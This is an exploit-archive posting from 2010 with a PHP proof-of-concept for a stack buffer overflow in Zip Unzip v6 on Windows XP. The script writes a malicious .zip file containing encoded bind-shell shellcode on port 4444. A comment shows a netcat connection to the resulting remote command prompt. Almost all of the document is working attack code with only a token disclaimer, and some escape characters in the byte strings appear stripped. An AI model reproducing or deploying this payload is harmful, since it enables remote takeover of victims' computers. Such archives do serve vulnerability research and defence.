Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit
Posted on 03 April 2010
========================================================== Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit ========================================================== <?php /* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit Author: mr_me - http://net-ninja.net/ Download: http://www.microviet.com/modules/freesoftware/ Platform: Windows XP sp3 Greetz to: Corelan Security Team & fl0 fl0w http://www.corelan.be:8800/index.php/security/corelan-team-members/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Script provided 'as is', without any warranty. Use for educational purposes only. Do not use this code to do anything illegal ! Note : you are not allowed to edit/modify this code. If you do, Corelan cannot be held responsible for any damages this may cause. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sorry, not universal.. any ppr from the target application uses 0x01 which kills our ascii buffer. ..Enjoy. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mrme@backtrack:~$ nc -v 192.168.1.3 4444 192.168.1.3: inverse host lookup failed: Unknown server error : Connection timed out (UNKNOWN) [192.168.1.3] 4444 (?) open Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. G: dayzip0day> */ // local file header $lf_header = "x50x4Bx03x04x14x00x00x00x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00xe4x0fx00x00x00"; // central directory file header $cdf_header = "x50x4Bx01x02x14x00x14x00x00x00x00x00xB7xACxCEx34x00x00x00". "x00x00x00x00x00x00x00x00x00xe4x0fx00x00x00x00x00x00x01x00". "x24x00x00x00x00x00x00x00"; // end of central directory record $efcdr_record = "x50x4Bx05x06x00x00x00x00x01x00x01x00". "x12x10x00x00x02x10x00x00x00x00"; // bind shell on port 4444, edx as base reg $______sc = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI8kWssixkDExhZXkOyoKO0OaYri". "aY3yQYW9rqQJPV3d68efEcfPPVpXDtQQTpQRUfRhw8dpQRTsFPw2QSpV3hUb0Bw4QR0H4tqQP2QQ2d4paQctR". "tQRqTRqsr6PqQw4SqpVpX4tRz4xsrbd0JPOpMpNRobldvbkrnPOrdPJPN1Y0OBopOroPOpO2oQRpVPK0XBnsf". "qVp2rf4rpKVXqUstRnssBkShBn1W0ErpaZCgRapPpOpNrkwH0OdtPJg1RkpXPOpUsrRr1QTprk2n1SPNg2Bss". "yRtPKTxQVQC0KPXG1tpV0RnraUcQRBlG9VYRnrjrfv8crpL3vpWQWp0cqPLpL0LpMPP1QvPRdRl2kpNcvPORk". "WCSvpUg6CrqZqRcuPWSsbn0K1HboPUSvpRsqrpBkPNW8tvPKv82npPpKEd0K0HpO3eBnSqqQVP0KPNPCdpPNp". "RrkW8RivXPNtvpFW2RncqqQSfSspLQQ2cg2rlsv2fpK2hqRcdCr7CpKpXW2aT2npPrkVX3raWRnra0MpJPK2h". "72Cd1Z2p60Ue3zW6V0V8bpW4RppPrnrnSrDuRoPO1XPMsqrspKPM0HufpCseQXPVCzFVrcucRdP3pJf6QWbg7". "3PGstP3PO0U1V65ro2opBRmQZrvbkpLbmRnpNRoPKpSW2aUPOBo78bmPOvUcyaX75PNrhrv3qw8rmpN3zBpW4". "TpsupUpLPFCtRpRopOQRrmszvVSypMRiPPQUpO0MszW71ERoBoqXPMSsW52cPEQSpUSspUQSbessfTw3RebcU". "dssTu2o2o1R2m1XrvPJ66QQCqPNvUCxp6ssp5rivXCq0Nw5RipJQVPFQZ2lPQW2v777pLswburoroQXpMpLP6". "SrUaqQReg57EbopOaRPMpJtvCvpJPMrjBpw2cypNPG2upOBoqXpMPCwEpE5eRoRoqRPMpJP6w50Nri0DQXehq". "YpT1WRupObo78PM2bbu3veesvReG5duPOpO1RbmQSg90J2vcwrn1YVW2hrlg9GGW7RePOpOBh0MG52uRoRo1R". "2mW8EfpLPV0FaVpHwFaZcvcspVPMBvw9P8pEPNblpV2bqEQYseG9pRrnblSy2hw7PNRl5fCvRtw9V8qTPNsqp". "CaRPLg3POPLqZ2ppOpDRt2mdrBpPO3tBt2nSbrc1YpMshpL1WPJpS0KpJ0KpJ0KSzczSvQTaG0P0ObcpKBhpQ". "PORoqUF72fRtbopOCx0MpKcug7fUSt6U3qwESqQEqQuepLBfrapPqQFUbaSuSuVUaQQUbo0O1RrmQZ2v0MRj2". "iBmaUTpf0PLPCvUpORoaX0Mrlv6roPOroBo0GFSRoro2bRmRkChcwg5PN0OSsVX0FPLsvefPOro3xpMrdRupO". "pOSrbm3z4vPOrn60PLpB2n3rUfSs2u0OroQXPMPO0OqRRm2zA"; $___offset = 4064; $___exploit = str_repeat("x41",39). "x73x07x41x41". "x76x50x47x73". // 0x73475076 [msvbvm60.dll] str_repeat("x61",32). str_repeat("x5a",2). str_repeat("x43",510). $______sc; $___exploit .= str_repeat("x43",$___offset-strlen($___exploit)). "x2ex74x78x74"; $_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record; file_put_contents("cst-zipunzip.zip",$_____b00m); ?> # Inj3ct0r.com [2010-04-03]
